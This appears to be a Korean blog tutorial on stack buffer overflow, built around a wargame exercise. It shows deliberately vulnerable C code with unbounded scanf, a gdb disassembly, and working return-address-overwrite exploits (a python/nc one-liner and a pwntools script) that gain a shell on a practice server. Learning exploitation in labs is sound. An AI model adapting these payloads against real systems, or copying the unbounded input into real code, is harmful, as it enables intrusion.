Hacking/Pwnable

스택 버퍼 오버플로우 (Stack Buffer Overflow)

GunP4ng 2024. 4. 28. 14:02

스택 버퍼 오버플로우


1. 스택 버퍼 오버플로우

1. 버퍼 (Buffer)

버퍼는 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소의 의미로 쓰인다.

 

버퍼는 데이터의 처리 속도가 다른 두 장치가 있을 때, 이 둘 사이에 오가는 데이터를 임시로 저장해 완충 작용을 한다.

즉 수신측과 송신 측 사이에 버퍼라는 임시 저장소를 두고, 이를 통해 간접적으로 데이터를 전달하게 한다.

이렇게 하면 버퍼가 가득 찰 때까지는 유실되는 데이터 없이 통신할 수 있다.

빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용을 하는 것이 버퍼의 역할이다.

 

현대에는 이런 완충의 의미가 많이 희석되어 데이터가 저장될 수 있는 모든 단위를 버퍼라고 부르기도 한다.

 

스택에 있는 지역변수는 스택 버퍼, 힙에 할당된 메모리는 힙 버퍼 라고 불린다.

 

2. 버퍼 오버플로우 (Buffer Overflow)

버퍼 오버플로우는 문자 그대로 버퍼가 넘치는 것이다.

일반적으로 버퍼는 메모리상에서 연속해서 할당되어 있으므로 어떤 버퍼에서 오버플로우가 발생하면, 

뒤에 있는 버퍼들의 값이 조작될 위험이 있다.

버퍼 오버플로우로 인한 메모리 오염

 

버퍼 오버플로우 BOF 는 일반적으로 큰 보안 위협으로 이어진다.

 

스택 구간에서 발생하는 BOF 를 스택 버퍼 오버플로우라고 한다.

스택 버퍼 오버플로우가 발생하면 스택 내의 RET 주소를 조작할 수 있게 된다.

RET 가 조작되면 함수의 복귀 주소가 조작되며, 해커가 원하는 대로 프로그램의 실행 흐름을 바꿀 수 있다.

 

 

2. Return Address Overwirte

1. 코드 확인 (취약점)

스택 버퍼 오버플로우가 발생하는 예제 코드를 확인해보자

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

위의 코드에서 취약점은 scanf("%s", buf) 에 있다

scanf("%s", buf);

scanf 함수의 포맷스트링 %s 는 문자열을 입력받을 때 사용한다.

하지만 입력의 길이를 제한하지 않으며, 공백 문자가 들어올 때까지 계속 입력을 받는다는 특징이 있다.

이로 인해 buf는 0x28 의 크기이지만 그 이상을 입력받아 BOF 가 발생하게 된다.

 

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

셸을 실행 할 수 있는 get_shell 함수도 코드안에 포함되어 있다.

 

2. 스택 프레임 구조 파악

main 함수의 어셈블리 코드를 확인해보자

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x30
   0x00000000004006f0 <+8>:     mov    eax,0x0
   0x00000000004006f5 <+13>:    call   0x400667 <init>
   0x00000000004006fa <+18>:    lea    rdi,[rip+0xbb]    # 0x4007bc	; "Input: "
   0x0000000000400701 <+25>:    mov    eax,0x0
   0x0000000000400706 <+30>:    call   0x400540 <printf@plt>			; printf("Input: ")
   0x000000000040070b <+35>:    lea    rax,[rbp-0x30]					; buf = rbp-0x30
   0x000000000040070f <+39>:    mov    rsi,rax
   0x0000000000400712 <+42>:    lea    rdi,[rip+0xab]    # 0x4007c4	; "%s"
   0x0000000000400719 <+49>:    mov    eax,0x0
   0x000000000040071e <+54>:    call   0x400570 <__isoc99_scanf@plt>	; scanf("%s", rbp-0x30)
   0x0000000000400723 <+59>:    mov    eax,0x0
   0x0000000000400728 <+64>:    leave  
   0x0000000000400729 <+65>:    ret    
End of assembler dump.

 

scanf 를 확인하면

scanf("%s", rbp-0x30);

오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다.

 

스택 프레임을 확인하면 rbp에 스택 프레임 포인터(SFP)가 저장되고,

rbp+0x8 에는 반환주소(RET) 가 저장된다.

(64bit 이므로 SFP 의 크기는 0x8)

스택 프레임 구조

입력할 버퍼와 RET 사이에 0x38 만큼의 거리가 있다.

0x38만큼 쓰레기값 (dummy) 로 채우고 반환주소(RET)에 get_shell 함수 주소를 넣으면 셸을 획득할 수 있다.

 

3. get_shell 주소 확인

get_shell 함수 코드이다.

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

 

gdb 를 이용해서 get_shell 함수의 주소를 알아낸다.

pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>

get_shell 함수의 주소는 0x4006aa 이다.

 

4. 페이로드 (Payload) 구성

시스템 해킹에서 페이로드(Payload)는 공격을 위해 프로그램에 전달하는 데이터를 의미한다.

페이로드

앞에서 파악한 정보를 바탕으로

buf 에 0x30 만큼의 쓰레기값(dummy) 을 집어넣고

0x8 만큼의 쓰레기값(dummy) 을 집어넣어 SFP 까지 조작한다.

 

그 다음으로 반환주소(RET)에 get_shell 함수의 주소를 집어넣으면 get_shell 함수가 실행되어 셸을 실행시킬 수 있다.

 

5. 엔디언 (Endian)

엔디언은 메모리에서 데이터가 정렬되는 방식이다.

리틀 엔디언(Little-Endian, LE) 과 빅 엔디언(Big-Endian, BE) 이 사용된다.

 

리틀 엔디언은 하위 비트부터 바이트 단위로 저장한다.

상위 비트, 하위 비트

0x12345678 을 리틀 엔디언으로 저장하면 다음과 같이 저장된다.

리틀 엔디언

리틀 엔디언은 인텔 x86, x86-64, ios, playstation 등 대부분의 데스크톱 컴퓨터는 리틀 엔디안을 사용한다.

 

빅 엔디언은 상위 비트부터 바이트 단위로 저장한다.

0x12345678 을 빅 엔디언으로 저장하면 다음과 같이 저장된다.

빅 엔디언

빅 엔디언은 네트워크 통신에서 사용된다.

 

x86-64 아키텍처를 사용하므로 get_shell 함수의 주소는 리틀 엔디언 방식으로 전달되어야 한다.

get_shell 함수의 주소는 0x4006aa 이다.

리틀 엔디언으로 변환하면 /xaa/x06/x40/x00/x00/x00/x00/x00 으로 전달되어야 한다.

 

 

3. Exploit

1. Exploit Code

리틀 엔디언을 적용하여 페이로드(Payload)를 작성하고 아래 커맨드로 rao 에 전달하면 셸을 획득할 수 있다.

(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host3.dreamhack.games 12133

 

위의 코드를 실행하면

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host3.dreamhack.games 12133
Input: 
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

셸을 획득한 것을 확인할 수 있다

 

2. Exploit Code (pwntools)

pwntools 를 이용해서 셸을 획득할 수도 있다

from pwn import *

context.log_level = "debug"
context(arch="amd64", os="linux")

p = remote("host3.dreamhack.games", 12133)

get_shell = 0x4006aa

payload = b'A' * 0x30
payload += b'A' * 0x8
payload += p64(get_shell)

p.sendafter("Input: ", payload)

p.interactive()

위와 같이 페이로드 코드를 작성하고 실행하면

 

$ python3 ./payload.py
[+] Opening connection to host3.dreamhack.games on port 12133: Done
/home/codespace/.python/current/lib/python3.10/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x7 bytes:
    b'Input: '
[DEBUG] Sent 0x40 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  aa 06 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000040
[*] Switching to interactive mode
$ 
[DEBUG] Sent 0x1 bytes:
    b'\n'
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0x2d bytes:
    b'uid=1000(rao) gid=1000(rao) groups=1000(rao)\n'
uid=1000(rao) gid=1000(rao) groups=1000(rao)

셸을 획득한 것을 확인할 수 있다.